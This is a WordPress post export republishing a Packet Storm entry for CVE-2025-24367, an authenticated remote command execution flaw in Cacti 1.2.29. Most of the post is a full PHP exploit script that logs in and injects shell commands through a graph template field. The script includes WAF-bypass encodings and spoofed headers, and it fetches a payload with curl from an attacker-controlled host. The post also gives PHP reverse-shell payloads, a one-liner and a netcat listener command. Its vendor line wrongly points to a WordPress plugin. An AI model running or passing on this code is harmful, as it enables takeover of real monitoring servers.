{"id":29319,"date":"2025-12-08T09:42:02","date_gmt":"2025-12-08T09:42:02","guid":{"rendered":"http:\/\/localhost\/?p=29319"},"modified":"2025-12-08T09:42:02","modified_gmt":"2025-12-08T09:42:02","slug":"cacti-1229-remote-command-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=29319","title":{"rendered":"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-08T15:28:13&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit that demonstrates how authenticated users with access to Graph Templates in Cacti can abuse RRD invocation parameters to write arbitrary PHP files, then trigger execution leading to remote command execution. Version 1.2.29 is&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212534&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-24367&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Cacti 1.2.29 Authenticated Graph Template RCE                                                                               |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/wordpress.org\/plugins\/document-library-lite\/                                                                        |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/211135\/ \\u0026 \\tCVE-2025-24367\\n    \\n    [+] Summary : Authenticated users with access to Graph Templates in Cacti can abuse RRD invocation parameters to write arbitrary PHP files, then trigger execution\\n                  leading to Remote Command Execution.\\n    \\t\\t\\t  \\n    [+]  POC :   * Usage: Save this file as: exploit.php\\n                                    Run: php exploit.php\\n    \\t\\t\\t\\t\\t\\t\\t\\t\\n                  Run the listener on your machine: nc -nlvp 4444\\n    \\n    Upload the Reverse Shell content to your server (shell.txt):\\n    \\n    \\u003c?php\\n    $sock=fsockopen(\\&#8221;YOUR_IP\\&#8221;,4444);\\n    \\n    $proc=proc_open(&#8216;\/bin\/sh -i&#8217;, array(0=\\u003e$sock, 1=\\u003e$sock, 2=\\u003e$sock), $pipes);\\n    \\n    ?\\u003e\\n    \\n    Or One-liner:\\n    \\n    php -r &#8216;$s=fsockopen(\\&#8221;YOUR_IP\\&#8221;,4444);exec(\\&#8221;\/bin\/sh -i \\u003c\\u00263 \\u003e\\u00263 2\\u003e\\u00263\\&#8221;);&#8217;\\n    \\n    \\n    \\u003c?php\\n    \/**\\n     * CVE-2025-24367 &#8211; Cacti Authenticated Graph Template RCE \\n     * Features:\\n     *   &#8211; SOCKS5 Proxy Support\\n     *   &#8211; WAF Bypass Techniques\\n     *   &#8211; Permission Upload Verification\\n     *   &#8211; Blind Version Detection\\n     *   &#8211; Multi-Encoding Payloads\\n     *\/\\n    \\n    \/\/ ==================== CONFIGURATION ======================\\n    $base_url   = \\&#8221;http:\/\/TARGET\\&#8221;;          \/\/ Target URL\\n    $username   = \\&#8221;admin\\&#8221;;                  \/\/ Cacti username\\n    $password   = \\&#8221;admin\\&#8221;;                  \/\/ Cacti password\\n    $rev_ip     = \\&#8221;YOUR_IP\\&#8221;;               \/\/ Reverse shell IP\\n    $rev_port   = \\&#8221;4444\\&#8221;;                  \/\/ Reverse shell port\\n    $use_proxy  = false;                   \/\/ Enable proxy (Burp)\\n    $proxy_type = \\&#8221;http\\&#8221;;                  \/\/ http or socks5\\n    $proxy_addr = \\&#8221;127.0.0.1:8080\\&#8221;;        \/\/ Proxy address\\n    $bypass_waf = true;                    \/\/ Enable WAF bypass\\n    $check_perms = true;                   \/\/ Check upload permissions\\n    \/\/ =========================================================\\n    \\n    \/\/ Color output for CLI\\n    define(&#8216;RED&#8217;, \\&#8221;\\\\033[1;31m\\&#8221;);\\n    define(&#8216;GREEN&#8217;, \\&#8221;\\\\033[1;32m\\&#8221;);\\n    define(&#8216;YELLOW&#8217;, \\&#8221;\\\\033[1;33m\\&#8221;);\\n    define(&#8216;BLUE&#8217;, \\&#8221;\\\\033[1;34m\\&#8221;);\\n    define(&#8216;RESET&#8217;, \\&#8221;\\\\033[0m\\&#8221;);\\n    \\n    \/\/ Session management\\n    $cookieFile = tempnam(sys_get_temp_dir(), \\&#8221;cactisess\\&#8221;);\\n    $user_agents = [\\n        &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n        &#8216;Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 Chrome\/91.0.4472.124 Safari\/537.36&#8217;,\\n        &#8216;Cacti-Monitor\/1.0 (+http:\/\/cacti.net)&#8217;\\n    ];\\n    \\n    function req_get($url, $proxy=false, $headers=[]) {\\n        global $cookieFile, $proxy_type, $proxy_addr, $user_agents;\\n        \\n        $ch = curl_init();\\n        $opts = [\\n            CURLOPT_URL =\\u003e $url,\\n            CURLOPT_RETURNTRANSFER =\\u003e true,\\n            CURLOPT_COOKIEFILE =\\u003e $cookieFile,\\n            CURLOPT_COOKIEJAR =\\u003e $cookieFile,\\n            CURLOPT_FOLLOWLOCATION =\\u003e true,\\n            CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n            CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n            CURLOPT_TIMEOUT =\\u003e 15,\\n            CURLOPT_USERAGENT =\\u003e $user_agents[array_rand($user_agents)],\\n            CURLOPT_HTTPHEADER =\\u003e array_merge([\\n                &#8216;X-Forwarded-For: &#8216; . rand(1,255) . &#8216;.&#8217; . rand(1,255) . &#8216;.&#8217; . rand(1,255) . &#8216;.&#8217; . rand(1,255),\\n                &#8216;Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8&#8217;,\\n                &#8216;Accept-Language: en-US,en;q=0.5&#8217;,\\n                &#8216;Accept-Encoding: gzip, deflate&#8217;,\\n                &#8216;Connection: keep-alive&#8217;,\\n                &#8216;Upgrade-Insecure-Requests: 1&#8217;,\\n                &#8216;Cache-Control: max-age=0&#8217;\\n            ], $headers)\\n        ];\\n        \\n        if ($proxy) {\\n            if ($proxy_type === \\&#8221;socks5\\&#8221;) {\\n                curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);\\n            }\\n            curl_setopt($ch, CURLOPT_PROXY, $proxy_addr);\\n        }\\n        \\n        curl_setopt_array($ch, $opts);\\n        $response = curl_exec($ch);\\n        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n        curl_close($ch);\\n        \\n        return [&#8216;code&#8217; =\\u003e $http_code, &#8216;body&#8217; =\\u003e $response];\\n    }\\n    \\n    function req_post($url, $data, $proxy=false, $headers=[]) {\\n        global $cookieFile, $proxy_type, $proxy_addr, $user_agents;\\n        \\n        \/\/ WAF bypass: multiple encoding techniques\\n        $encoded_data = $data;\\n        if (isset($data[&#8216;right_axis_label&#8217;])) {\\n            $encoded_data[&#8216;right_axis_label&#8217;] = waf_bypass($data[&#8216;right_axis_label&#8217;]);\\n        }\\n        \\n        $ch = curl_init();\\n        $opts = [\\n            CURLOPT_URL =\\u003e $url,\\n            CURLOPT_RETURNTRANSFER =\\u003e true,\\n            CURLOPT_POST =\\u003e true,\\n            CURLOPT_POSTFIELDS =\\u003e http_build_query($encoded_data),\\n            CURLOPT_COOKIEFILE =\\u003e $cookieFile,\\n            CURLOPT_COOKIEJAR =\\u003e $cookieFile,\\n            CURLOPT_FOLLOWLOCATION =\\u003e true,\\n            CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n            CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n            CURLOPT_TIMEOUT =\\u003e 20,\\n            CURLOPT_USERAGENT =\\u003e $user_agents[array_rand($user_agents)],\\n            CURLOPT_HTTPHEADER =\\u003e array_merge([\\n                &#8216;Content-Type: application\/x-www-form-urlencoded&#8217;,\\n                &#8216;X-Requested-With: XMLHttpRequest&#8217;,\\n                &#8216;X-Forwarded-For: &#8216; . rand(1,255) . &#8216;.&#8217; . rand(1,255) . &#8216;.&#8217; . rand(1,255) . &#8216;.&#8217; . rand(1,255)\\n            ], $headers)\\n        ];\\n        \\n        if ($proxy) {\\n            if ($proxy_type === \\&#8221;socks5\\&#8221;) {\\n                curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);\\n            }\\n            curl_setopt($ch, CURLOPT_PROXY, $proxy_addr);\\n        }\\n        \\n        curl_setopt_array($ch, $opts);\\n        $response = curl_exec($ch);\\n        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n        curl_close($ch);\\n        \\n        return [&#8216;code&#8217; =\\u003e $http_code, &#8216;body&#8217; =\\u003e $response];\\n    }\\n    \\n    function waf_bypass($payload) {\\n        global $bypass_waf;\\n        \\n        if (!$bypass_waf) return $payload;\\n        \\n        \/\/ Multiple bypass techniques\\n        $techniques = [\\n            \/\/ URL encoding\\n            function($p) { return str_replace([&#8216; &#8216;, &#8216;`&#8217;, &#8216;$&#8217;], [&#8216;%20&#8217;, &#8216;%60&#8217;, &#8216;%24&#8217;], $p); },\\n            \/\/ Double URL encoding\\n            function($p) { return str_replace([&#8216;\/&#8217;, &#8216; &#8216;], [&#8216;%252F&#8217;, &#8216;%2520&#8217;], $p); },\\n            \/\/ Hex encoding for commands\\n            function($p) { \\n                return preg_replace_callback(&#8216;\/\\\\b(curl|bash|wget|nc)\\\\b\/&#8217;, \\n                    function($m) { return bin2hex($m[0]); }, $p);\\n            },\\n            \/\/ Case manipulation\\n            function($p) { return preg_replace_callback(&#8216;\/\\\\b([A-Z]+)\\\\b\/i&#8217;, \\n                function($m) { \\n                    $word = $m[0];\\n                    $new = &#8221;;\\n                    for($i=0; $i\\u003cstrlen($word); $i++) {\\n                        $new .= (rand(0,1)) ? strtoupper($word[$i]) : strtolower($word[$i]);\\n                    }\\n                    return $new;\\n                }, $p);\\n            },\\n            \/\/ Insert null bytes\\n            function($p) { return str_replace(&#8216; &#8216;, &#8216;%00&#8217;, $p); },\\n            \/\/ Use alternative syntax\\n            function($p) { \\n                $p = str_replace(&#8216;`&#8217;, &#8216;$(&#8216;, $p);\\n                $p = str_replace(&#8216;`&#8217;, &#8216;)&#8217;, $p);\\n                return $p;\\n            }\\n        ];\\n        \\n        foreach ($techniques as $tech) {\\n            $payload = $tech($payload);\\n            \/\/ Add random sleep to avoid rate limiting\\n            usleep(rand(10000, 50000));\\n        }\\n        \\n        return $payload;\\n    }\\n    \\n    function detect_cacti_version($base_url) {\\n        echo BLUE . \\&#8221;[*] Blind version detection&#8230;\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n        \\n        $indicators = [\\n            &#8216;\/1\\\\\\\\.2\\\\\\\\.\/&#8217; =\\u003e &#8216;1.2.x&#8217;,\\n            &#8216;\/1\\\\\\\\.3\\\\\\\\.\/&#8217; =\\u003e &#8216;1.3.x&#8217;,\\n            &#8216;\/cacti_version=1\\\\\\\\.0\/&#8217; =\\u003e &#8216;1.0.x&#8217;,\\n            &#8216;\/version.*?\\\\\\\\d+\\\\\\\\.\\\\\\\\d+\\\\\\\\.\\\\\\\\d+\/&#8217; =\\u003e &#8216;Unknown&#8217;\\n        ];\\n        \\n        $checks = [\\n            &#8216;\/cacti\/include\/global_arrays.php&#8217;,\\n            &#8216;\/cacti\/include\/global_settings.php&#8217;,\\n            &#8216;\/cacti\/CHANGELOG&#8217;,\\n            &#8216;\/cacti\/README&#8217;\\n        ];\\n        \\n        foreach ($checks as $check) {\\n            $result = req_get($base_url . $check);\\n            if ($result[&#8216;code&#8217;] == 200) {\\n                foreach ($indicators as $pattern =\\u003e $version) {\\n                    if (preg_match($pattern, $result[&#8216;body&#8217;])) {\\n                        echo GREEN . \\&#8221;[+] Detected Cacti version: \\&#8221; . $version . RESET . \\&#8221;\\\\n\\&#8221;;\\n                        return $version;\\n                    }\\n                }\\n            }\\n        }\\n        \\n        \/\/ Try to extract from HTML comments\\n        $home = req_get($base_url . &#8216;\/cacti\/&#8217;);\\n        if (preg_match(&#8216;\/\\u003c!&#8211;.*?Cacti v?(\\\\d+\\\\.\\\\d+\\\\.\\\\d+).*?&#8211;\\u003e\/i&#8217;, $home[&#8216;body&#8217;], $matches)) {\\n            echo GREEN . \\&#8221;[+] Detected Cacti version from comments: \\&#8221; . $matches[1] . RESET . \\&#8221;\\\\n\\&#8221;;\\n            return $matches[1];\\n        }\\n        \\n        echo YELLOW . \\&#8221;[!] Could not detect exact version\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n        return \\&#8221;unknown\\&#8221;;\\n    }\\n    \\n    function check_permissions($base_url) {\\n        echo BLUE . \\&#8221;[*] Checking upload permissions&#8230;\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n        \\n        $test_files = [\\n            &#8216;\/cacti\/images\/logo.gif&#8217;,\\n            &#8216;\/cacti\/include\/config.php&#8217;,\\n            &#8216;\/cacti\/plugins\/&#8217;\\n        ];\\n        \\n        foreach ($test_files as $file) {\\n            $result = req_get($base_url . $file);\\n            if ($result[&#8216;code&#8217;] == 200 || $result[&#8216;code&#8217;] == 403) {\\n                echo YELLOW . \\&#8221;[!] File accessible: \\&#8221; . $file . \\&#8221; (HTTP: \\&#8221; . $result[&#8216;code&#8217;] . \\&#8221;)\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        \/\/ Try to detect writable directories\\n        $writable_dirs = [&#8216;\/cacti\/cache\/&#8217;, &#8216;\/cacti\/log\/&#8217;, &#8216;\/cacti\/rra\/&#8217;];\\n        foreach ($writable_dirs as $dir) {\\n            $result = req_get($base_url . $dir);\\n            if ($result[&#8216;code&#8217;] == 200) {\\n                echo GREEN . \\&#8221;[+] Potentially writable directory: \\&#8221; . $dir . RESET . \\&#8221;\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        return true;\\n    }\\n    \\n    function exploit_stage($stage, $template_id) {\\n        global $base_url, $rev_ip, $rev_port, $use_proxy, $check_perms;\\n        \\n        echo BLUE . \\&#8221;[*] Executing stage: \\&#8221; . $stage . RESET . \\&#8221;\\\\n\\&#8221;;\\n        \\n        \/\/ Get CSRF token\\n        $page = req_get($base_url . \\&#8221;\/cacti\/graph_templates.php?action=template_edit\\u0026id=\\&#8221; . $template_id, $use_proxy);\\n        if (!preg_match(&#8216;\/var csrfMagicToken\\\\s*=\\\\s*\\&#8221;([^\\&#8221;]+)\\&#8221;\/&#8217;, $page[&#8216;body&#8217;], $matches)) {\\n            echo RED . \\&#8221;[-] Failed to get CSRF token\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n            return false;\\n        }\\n        $csrf = $matches[1];\\n        \\n        $filename = bin2hex(random_bytes(4)) . \\&#8221;.php\\&#8221;;\\n        \\n        if ($stage == \\&#8221;write\\&#8221;) {\\n            \/\/ Stage 1: Download reverse shell\\n            $payload = \\&#8221;XXX\\\\ncreate x &#8211;step 300 DS:temp GAUGE\\\\n\\&#8221; .\\n                      \\&#8221;graph \\&#8221; . $filename . \\&#8221; -s now -a CSV \\&#8221; .\\n                      \\&#8221;DEF:x=x:temp:AVERAGE LINE1:x:`\\&#8221; . \\n                      waf_bypass(\\&#8221;curl -s \\&#8221; . $rev_ip . \\&#8221;\/shell.txt -o \/tmp\/shell.php\\&#8221;) . \\n                      \\&#8221;`\\&#8221;;\\n        } else {\\n            \/\/ Stage 2: Execute reverse shell\\n            $payload = \\&#8221;XXX\\\\ncreate x &#8211;step 300 DS:temp GAUGE\\\\n\\&#8221; .\\n                      \\&#8221;graph \\&#8221; . $filename . \\&#8221; -s now -a CSV \\&#8221; .\\n                      \\&#8221;DEF:x=x:temp:AVERAGE LINE1:x:`\\&#8221; .\\n                      waf_bypass(\\&#8221;php \/tmp\/shell.php \\&#8221; . $rev_ip . \\&#8221; \\&#8221; . $rev_port) .\\n                      \\&#8221;`\\&#8221;;\\n        }\\n        \\n        $post_data = [\\n            &#8216;__csrf_magic&#8217; =\\u003e $csrf,\\n            &#8216;name&#8217; =\\u003e &#8216;Unix &#8211; Logged in Users&#8217;,\\n            &#8216;graph_template_id&#8217; =\\u003e $template_id,\\n            &#8216;graph_template_graph_id&#8217; =\\u003e $template_id,\\n            &#8216;save_component_template&#8217; =\\u003e &#8216;1&#8217;,\\n            &#8216;title&#8217; =\\u003e &#8216;|host_description| &#8211; Logged in Users&#8217;,\\n            &#8216;right_axis_label&#8217; =\\u003e $payload,\\n            &#8216;action&#8217; =\\u003e &#8216;save&#8217;\\n        ];\\n        \\n        \/\/ Submit payload\\n        $result = req_post($base_url . \\&#8221;\/cacti\/graph_templates.php?header=false\\&#8221;, $post_data, $use_proxy);\\n        \\n        if ($result[&#8216;code&#8217;] == 200) {\\n            echo GREEN . \\&#8221;[+] Stage \\&#8221; . $stage . \\&#8221; executed successfully\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n            \\n            \/\/ Trigger the graph generation\\n            req_get($base_url . \\&#8221;\/cacti\/graph_json.php?rra_id=0\\u0026local_graph_id=3\\&#8221;, $use_proxy);\\n            \\n            \/\/ Check if file was created\\n            if ($check_perms) {\\n                $check = req_get($base_url . \\&#8221;\/cacti\/\\&#8221; . $filename, $use_proxy);\\n                if ($check[&#8216;code&#8217;] == 200) {\\n                    echo GREEN . \\&#8221;[+] File created: \\&#8221; . $filename . RESET . \\&#8221;\\\\n\\&#8221;;\\n                }\\n            }\\n            \\n            return true;\\n        } else {\\n            echo RED . \\&#8221;[-] Stage \\&#8221; . $stage . \\&#8221; failed (HTTP: \\&#8221; . $result[&#8216;code&#8217;] . \\&#8221;)\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n            return false;\\n        }\\n    }\\n    \\n    \/\/ ==================== MAIN EXECUTION ======================\\n    echo GREEN . \\&#8221;\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551   Cacti CVE-2025-24367 Exploit by indoushka          \u2551\\n    \u2551   Features: SOCKS5, WAF Bypass, Blind Detection      \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\&#8221; . RESET . \\&#8221;\\\\n\\\\n\\&#8221;;\\n    \\n    \/\/ 1. Initial detection\\n    echo BLUE . \\&#8221;[*] Detecting Cacti&#8230;\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    $result = req_get($base_url, $use_proxy);\\n    if (!str_contains($result[&#8216;body&#8217;], &#8216;Cacti&#8217;) \\u0026\\u0026 !str_contains($result[&#8216;body&#8217;], &#8216;cacti&#8217;)) {\\n        die(RED . \\&#8221;[-] Target does not appear to be Cacti\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;);\\n    }\\n    echo GREEN . \\&#8221;[+] Cacti detected!\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    \\n    \/\/ 2. Version detection (blind)\\n    $version = detect_cacti_version($base_url);\\n    \\n    \/\/ 3. Permission check\\n    if ($check_perms) {\\n        check_permissions($base_url);\\n    }\\n    \\n    \/\/ 4. Login\\n    echo BLUE . \\&#8221;[*] Attempting login&#8230;\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    $login_page = req_get($base_url . \\&#8221;\/cacti\/index.php\\&#8221;, $use_proxy);\\n    if (!preg_match(&#8216;\/var csrfMagicToken\\\\s*=\\\\s*\\&#8221;([^\\&#8221;]+)\\&#8221;\/&#8217;, $login_page[&#8216;body&#8217;], $matches)) {\\n        die(RED . \\&#8221;[-] Could not extract CSRF token\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;);\\n    }\\n    $csrf = $matches[1];\\n    \\n    $login_data = [\\n        &#8216;__csrf_magic&#8217; =\\u003e $csrf,\\n        &#8216;action&#8217; =\\u003e &#8216;login&#8217;,\\n        &#8216;login_username&#8217; =\\u003e $username,\\n        &#8216;login_password&#8217; =\\u003e $password\\n    ];\\n    \\n    $login_result = req_post($base_url . \\&#8221;\/cacti\/index.php\\&#8221;, $login_data, $use_proxy);\\n    if (!str_contains($login_result[&#8216;body&#8217;], &#8216;Console&#8217;) \\u0026\\u0026 !str_contains($login_result[&#8216;body&#8217;], &#8216;Logout&#8217;)) {\\n        die(RED . \\&#8221;[-] Login failed\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;);\\n    }\\n    echo GREEN . \\&#8221;[+] Login successful!\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    \\n    \/\/ 5. Find template ID\\n    echo BLUE . \\&#8221;[*] Searching for template ID&#8230;\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    $search = req_get($base_url . \\&#8221;\/cacti\/graph_templates.php?filter=Unix%20-%20Logged%20in%20Users\\u0026rows=-1\\u0026has_graphs=false\\&#8221;, $use_proxy);\\n    if (!preg_match(&#8216;\/id=\\&#8221;chk_(\\\\d+)\\&#8221;\/&#8217;, $search[&#8216;body&#8217;], $matches)) {\\n        \/\/ Try alternative search\\n        $search = req_get($base_url . \\&#8221;\/cacti\/graph_templates.php\\&#8221;, $use_proxy);\\n        if (preg_match(&#8216;\/value=\\&#8221;(\\\\d+)\\&#8221;[^\\u003e]*\\u003eUnix &#8211; Logged in Users\/&#8217;, $search[&#8216;body&#8217;], $matches)) {\\n            $template_id = $matches[1];\\n        } else {\\n            die(RED . \\&#8221;[-] Could not find template ID\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;);\\n        }\\n    } else {\\n        $template_id = $matches[1];\\n    }\\n    echo GREEN . \\&#8221;[+] Template ID found: \\&#8221; . $template_id . RESET . \\&#8221;\\\\n\\&#8221;;\\n    \\n    \/\/ 6. Execute exploit stages\\n    echo BLUE . \\&#8221;[*] Starting exploitation&#8230;\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    \\n    if (exploit_stage(\\&#8221;write\\&#8221;, $template_id)) {\\n        echo YELLOW . \\&#8221;[*] Waiting for stage 1 to complete&#8230;\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n        sleep(3); \/\/ Wait for download\\n        \\n        if (exploit_stage(\\&#8221;exec\\&#8221;, $template_id)) {\\n            echo GREEN . \\&#8221;[+] Exploitation completed!\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n            echo YELLOW . \\&#8221;[*] Check your listener: nc -nlvp \\&#8221; . $rev_port . RESET . \\&#8221;\\\\n\\&#8221;;\\n            echo YELLOW . \\&#8221;[*] Shell should connect to \\&#8221; . $rev_ip . \\&#8221;:\\&#8221; . $rev_port . RESET . \\&#8221;\\\\n\\&#8221;;\\n        } else {\\n            echo RED . \\&#8221;[-] Stage 2 failed\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n        }\\n    } else {\\n        echo RED . \\&#8221;[-] Stage 1 failed\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    }\\n    \\n    \/\/ 7. Cleanup\\n    echo BLUE . \\&#8221;[*] Cleaning up&#8230;\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    @unlink($cookieFile);\\n    \\n    echo GREEN . \\&#8221;[+] Done!\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    \\n    \/\/ ==================== REVERSE SHELL CONTENT ======================\\n    echo YELLOW . \\&#8221;\\\\n[*] Reverse shell content (save as shell.txt on your server):\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;\\u003c?php\\n    \\\\$sock=fsockopen(\\\\\\&#8221;\\&#8221; . $rev_ip . \\&#8221;\\\\\\&#8221;,\\&#8221; . $rev_port . \\&#8221;);\\n    \\\\$proc=proc_open(&#8216;\/bin\/sh -i&#8217;, array(0=\\u003e\\\\$sock, 1=\\u003e\\\\$sock, 2=\\u003e\\\\$sock), \\\\$pipes);\\n    ?\\u003e\\\\n\\&#8221;;\\n    ?\\u003e\\n    \\n    \\u003c?php\\n    \/\/ Alternative: One-liner reverse shell\\n    echo YELLOW . \\&#8221;[*] One-liner alternative:\\&#8221; . RESET . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;php -r &#8216;\\\\$s=fsockopen(\\\\\\&#8221;\\&#8221; . $rev_ip . \\&#8221;\\\\\\&#8221;,\\&#8221; . $rev_port . \\&#8221;);exec(\\\\\\&#8221;\/bin\/sh -i \\u003c\\u00263 \\u003e\\u00263 2\\u003e\\u00263\\\\\\&#8221;);&#8217;\\\\n\\&#8221;;\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212534&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212534\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-08T15:28:13&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit that demonstrates how authenticated users with access to Graph Templates in Cacti can abuse RRD invocation parameters to write arbitrary PHP&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-29319","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=29319\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534 - zero redgem\" \/>\n<meta property=\"og:description\" 